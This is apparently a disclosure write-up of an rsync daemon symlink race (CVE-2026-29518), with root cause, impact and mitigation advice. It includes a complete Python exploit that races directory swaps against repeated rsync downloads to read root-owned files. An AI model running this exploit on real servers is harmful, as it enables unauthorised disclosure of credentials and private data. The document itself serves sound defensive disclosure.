Abstract
CVE-2026-29518 is a time-of-check to time-of-use (TOCTOU) symlink race in rsync daemon file handling. The vulnerability affects rsync 3.4.2 and prior when the daemon is configured with use chroot = false.
This configuration detail is critical: rsync's default configuration uses use chroot = yes, so the default configuration is not vulnerable to this issue.
The bug class is simple but dangerous. An attacker with write access to a module path can replace parent directory components with symbolic links while the daemon is processing a file operation. Depending on the operation, this can redirect reads and writes outside the intended module area. The practical impact includes arbitrary file reads accessible to the daemon, arbitrary file creation or overwrite, sensitive information disclosure, and local privilege escalation (LPE) when the daemon runs with elevated privileges.
Credits
According to the CVE record, discovery credit is assigned to:
- Nullx3D (Batuhan SANCAK)
- Michael Stapelberg
- Damien Neil
Affected Conditions
The issue is exposed when rsync daemon is configured with:
use chroot = false
This is not the default setting. The default configuration uses:
use chroot = yes
A realistic vulnerable setup generally has these properties:
- The daemon exposes a module where a low-privileged user can write or manipulate directories.
- The daemon runs with privileges that exceed the attacker's direct filesystem permissions.
- Chroot isolation is disabled with
use chroot = false. - The target operation touches user-controlled directory components during daemon-side file handling.
Root Cause
This is a classic TOCTOU problem:
- The daemon decides that a requested file is safe enough to process.
- Some time passes while the transfer logic continues.
- The file is opened later.
- A user-controlled directory component changes during that gap.
The vulnerable shape is not limited to direct symlink files. The interesting primitive is a parent directory race. The final filename can look normal, while one of its parent components changes just before the daemon uses it. That makes protections focused only on the final file component insufficient for this class of bug.
The read-side code path is especially useful for demonstrating confidentiality impact. When secure symlink handling is not consistently applied, the sender can fall back to an open helper that does not fully protect every directory component involved in the operation. That allows the daemon to become a file disclosure oracle if the race is won.
Read-Path Primitive
The proof of concept below demonstrates a read-path race. The attacker controls a writable directory under the rsync module. Inside that directory, the exploit repeatedly switches subdir between two states:
- A real directory containing a decoy file.
- A symbolic link to a privileged target directory.
At the same time, the exploit repeatedly asks the daemon to download subdir/target.txt. If the daemon reads the decoy file, nothing interesting happened. If the daemon returns content different from the decoy, the race landed and the daemon returned the privileged file.
Proof of Concept
The following is the complete read-path PoC used for this post. It is provided for authorized lab reproduction only.
#!/usr/bin/env python3
"""
RSYNC READ-PATH TOCTOU EXPLOIT PoC
Demonstrates that the read path in sender.c uses do_open_nofollow() which
only applies O_NOFOLLOW to the final path component, NOT intermediate
directories. This allows the same directory-symlink-switching TOCTOU race
used in the write-path exploit to read privileged files through the daemon.
The write-path was fixed with secure_relative_open() (walking each component
with openat() + O_NOFOLLOW|O_DIRECTORY), but sender.c:355 still calls
do_open_checklinks() which resolves intermediate symlinks.
Configuration:
- DAEMON_PORT: Port of the vulnerable rsync daemon.
- ATTACKER_DIR: Writable path on the rsync share (must be accessible).
- TARGET_DIR: Directory containing the root-owned file to steal.
- TARGET_FILENAME: Name of the file to read.
"""
import os
import subprocess
import threading
import time
import shutil
import sys
import tempfile
# CONFIGURATION
DAEMON_PORT = 873
ATTACKER_DIR = "/home/tridge/project/rsync/security/Dec2025_CVEs/user_owned"
TARGET_DIR = "/home/tridge/project/rsync/security/Dec2025_CVEs/root_files"
TARGET_FILENAME = "target.txt"
DECOY_CONTENT = "decoy"
STOLEN_FILE = "/tmp/rsync_ro_stolen"
def setup():
"""Verify preconditions for the exploit."""
print(f"[+] Checking attacker directory: {ATTACKER_DIR}")
if not os.path.exists(ATTACKER_DIR):
print(f"[!] ERROR: {ATTACKER_DIR} does not exist!")
sys.exit(1)
target_path = os.path.join(TARGET_DIR, TARGET_FILENAME)
print(f"[+] Checking target file: {target_path}")
if not os.path.exists(target_path):
print(f"[!] ERROR: {target_path} does not exist!")
sys.exit(1)
# Confirm we cannot read the target file as our unprivileged user
try:
with open(target_path, "r") as f:
f.read()
print(f"[!] WARNING: Can already read {target_path} - exploit is meaningless")
sys.exit(1)
except PermissionError:
print(f"[+] Confirmed: cannot read {target_path} directly (good)")
# Clean up any leftover stolen file
if os.path.exists(STOLEN_FILE):
os.unlink(STOLEN_FILE)
print("[+] Setup complete\n")
def race_loop():
"""Continuously switch subdir between a real directory and a symlink to TARGET_DIR."""
switch_path = os.path.join(ATTACKER_DIR, "subdir")
while True:
try:
# Step 1: Real directory with decoy file
if os.path.islink(switch_path):
os.unlink(switch_path)
elif os.path.exists(switch_path):
shutil.rmtree(switch_path)
os.makedirs(switch_path)
with open(os.path.join(switch_path, TARGET_FILENAME), "w") as f:
f.write(DECOY_CONTENT)
# Step 2: Symlink to target directory
shutil.rmtree(switch_path)
os.symlink(TARGET_DIR, switch_path)
except Exception:
pass
def trigger_download():
"""Repeatedly download the file from the daemon, checking if we got the real content."""
counter = 0
src = f"rsync://localhost:{DAEMON_PORT}/rtest/subdir/{TARGET_FILENAME}"
while True:
counter += 1
print(f"\r[+] Attempt: {counter}", end="", flush=True)
# Clean up previous download
if os.path.exists(STOLEN_FILE):
os.unlink(STOLEN_FILE)
try:
subprocess.run(
["rsync", src, STOLEN_FILE],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2
)
if os.path.exists(STOLEN_FILE):
with open(STOLEN_FILE, "r") as f:
content = f.read()
if content and content != DECOY_CONTENT:
print(f"\n\n[!] READ-PATH TOCTOU EXPLOIT SUCCESS!")
print(f"[!] Stole content of root-owned {TARGET_DIR}/{TARGET_FILENAME}:")
print(f"[!] Content: {content!r}")
print(f"[+] Attempts: {counter}")
os._exit(0)
except subprocess.TimeoutExpired:
pass
except Exception:
pass
time.sleep(0.01)
if __name__ == "__main__":
print("=== RSYNC READ-PATH TOCTOU EXPLOIT ===")
print("Exploits do_open_checklinks() in sender.c which only checks")
print("O_NOFOLLOW on the final component, not intermediate dirs.\n")
setup()
# Start the race loop in background
print("[+] Starting race loop thread...")
threading.Thread(target=race_loop, daemon=True).start()
# Start the download trigger in foreground
print("[+] Starting download attempts...\n")
trigger_download()
Security Impact
The read primitive is a confidentiality issue. If the daemon can read data that the attacker cannot read directly, a successful race can disclose that data through the rsync protocol.
The write primitive is an integrity issue. When a write operation is redirected outside the intended module directory, an attacker may create or overwrite arbitrary files accessible to the daemon. On elevated daemon deployments, that can become local privilege escalation (LPE).
Together, the primitives are more serious than either one alone. Arbitrary file reads can expose credentials, keys, configuration files, or backup data. Arbitrary writes can modify sensitive files or introduce persistence, depending on daemon privileges and system configuration.
Mitigation
The most important operational mitigation is to keep the default chroot isolation enabled. Do not disable use chroot unless the deployment really requires it and the module permission model is tightly controlled.
- Use
use chroot = yeswhere possible. - Run rsync daemon with the least privilege required for the module.
- Avoid exposing writable modules to untrusted users.
- Restrict daemon access with authentication and network allowlists.
- Review module trees for user-controlled directories and symlink creation.
- Upgrade when rsync 3.4.3 or the relevant vendor patch is available.
References
- Rsync 3.4.3 release notes: https://download.samba.org/pub/rsync/NEWS#3.4.3
- CWE-367: Time-of-check Time-of-use Race Condition: https://cwe.mitre.org/data/definitions/367.html
Conclusion
CVE-2026-29518 is a good reminder that file handling bugs are rarely about one syscall in isolation. The dangerous gap is between the object the program thinks it is operating on and the object the filesystem resolves when the operation actually happens.
In this case, the default rsync daemon configuration is not vulnerable because use chroot = yes is the default. But when chroot isolation is disabled and users can manipulate module directories, the race becomes meaningful: reads can disclose privileged files, and writes can cross the intended module boundary.